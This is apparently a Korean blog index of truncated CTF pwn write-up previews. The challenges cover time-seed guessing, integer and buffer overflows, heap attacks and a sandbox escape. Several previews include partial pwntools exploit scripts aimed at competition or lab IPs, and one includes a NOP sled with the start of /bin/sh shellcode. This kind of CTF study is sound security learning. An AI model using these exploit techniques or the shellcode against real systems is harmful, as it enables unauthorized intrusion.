분류 전체보기
-
H3X0R CTF Be richCTF 2017. 1. 8. 02:25
md5 calc 같은문제, 머니가 타임시드로 게싱해서 돈올리는것 fsb 취약점이있긴했는데 그거 쓸수있나모르겠네 time.c #include #include int main() { int v0 = time(0); int v4 = 0; srand(v0); v4 = rand() % 10000 + 1; printf("%d",v4); } exp.pyfrom pwn import * import time,os,random p = remote("52.199.49.117",10002) #p = process("pwn100") t = int(time.time()) p.sendline("/bin/sh") p.sendline('') rand = os.popen('./time').read() for i in range(0,70..
-
Plaid CTF prodmanagerCTF 2017. 1. 7. 00:21
list ptr 로 읽을수있고, create -> add -> profile로 풀수있다. 우선 플래그를 읽어주는 함수가 있어서, 그게 우리가 주소를 아는 ptr로되기 때문에 그 ptr로 돌려서 풀수있음 from pwn import * p = remote("10.211.55.3",11111) def create(name,price): print p.recvuntil("Input: ") p.sendline("1") print p.recvuntil("name: ") p.sendline(name) print p.recvuntil("price: ") p.sendline(str(price)) def delete(name): print p.recvuntil("Input: ") p.sendline("2") print ..
-
[BoB CTF] casinoCTF 2017. 1. 4. 23:46
선주형이 문제를 잘못내셨다는 카지노, 잘못내셨지만 일단 취약점은 아래와 같음 1. 인티저오버플로우2. 버퍼오버플로우 그냥 돈벌고 오버플로우 하면된다. 바이너리 보고 분석하시면됩니다 인티저오버플로우내서, rop로 libc 릭하고, 메인으로 돌아와서 계속 체이닝해주면된다. 원샷으로 덮어서 쉘따는 문제 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869from pwn import * p = remote("10.211.55.3",11111) def bet_money(money,lucky): print p.recvuntil(">>>")..
-
[BoB CTF] megaboxCTF 2017. 1. 4. 01:53
megabox 문제는 일단 취약점은 엄청 간단하고, 중요한건 샌드박스임. name은 힙으로 관리하고, 힙은 사용하는데 없음 고로 힙익스가 아님.. 일단 mmap으로 커스텀스택을 하나 할당해서 요기로 관리하게된다. 그리고나서 clone이란 함수를 사용하는데, void ptr로 fn이 복제되어서 샌드박스안에서 돌아가는것처럼 됨. 고로 샌드박스 이스케이프(?) 를 해야된다. 일단 릭벡터와 오버플로우는 엄청 쉽게준다. 릭은 buf를 그냥출력하니까 쉽게 카나리를 릭할수있고, 기존의 리턴은 clone 근처의 libc주소를 갖고있기때문에 libc 릭도 쉽다. 하지만 어딜 덮어야될지모른다. 스택을 ROP로 릭해보았지만 바이너리가 꼬여서 돌아갈주소를 줘도 터지고 함.... 하지만 free_hook을 덮는 방법이있었다 망..
-
[christmas ctf 2016] who is solo 문제풀이CTF 2016. 12. 25. 16:50
광준이형 덕분에 크리스마스 씨티엪에 문제를 낼 기회가 생겼다! 감사합니다 형 :) 그냥 stack overflow문제는 뻔하고, unsorted bin attack으로 password 덮어주고 64bit rop 통해서 password 담아낸걸 릭해내고 오프셋 계산을 통해 system, pop 가젯을 구해서 익스플로잇 하는 문제임! unsorted bin attack 만 알면 풀 수 있는데, 사람들이 잘 몰랐던것 같다. 익스가 좀 귀찮긴한듯.. ㄹㅇ 사람들 다 fastbin으로 password 덮어서 ROP로 GOT libc 릭해서 품 ㅂㄷㅂㄷ Full RELRO랑 스태틱컴파일해서 낼걸 아이디어가 하나있었는데 문제만들고 익스가 넘 힘들어서 포기했고ㅠㅠㅠㅠ 플래그는 내 현실을 빗대어 작성함;; ㄹㅇ 후.. ..
-
HoldyShield Pwn400 diaryCTF 2016. 12. 22. 11:45
diary는 무식하게 바이너리만 디게 크다. 취약점이 발생하는 함수는 얼마없고, 트리거는 인티저오버플로우와 UAF 두개밖에없다. 여기서 낚시가 존재하는데, 모든 plan은 100바이트만큼 입력이되지만 update시에 104만큼 받게된다. 하지만 이건 fake에 불과하다. 대회당시에는 풀지못했다. 배점에 쫄았습니다 처음에 이름과 나이, 젠더 등을 받는데, 여기서 필요한것은 딱 gender 밖에 없다. 왜 gender가 중요하냐? 밑에 사진을 확인해보3 ! Delete_plan함수인데, select로 입력을받고 입력받은값에서 -1 한 후, 99란 값이 되면 다음 if문으로 넘어가게되는데 character + 6 의 값을 확인하게된다. character + 6은 gender가 됨 흐흐 !! 디버깅을 해서 봐도..
-
HolyShield pwn100CTF 2016. 12. 20. 17:35
123456789101112131415161718192021222324252627282930from pwn import * # p = remote("1.224.175.26",10020)p = remote("10.211.55.3",12345)print p.recvuntil("3. Exit") p.sendline("1") print p.recvuntil("Leak Size(0 ~ 1000)")p.sendline("16")leak = p.recv(8)stack = u32(p.recv(4))print hex(stack) payload = "\x90"*48payload += p32(stack-0x68-0x2c)payload += "\x90"*10payload += "\x31\xc0\x50\x68\x2f\x2f\x..
-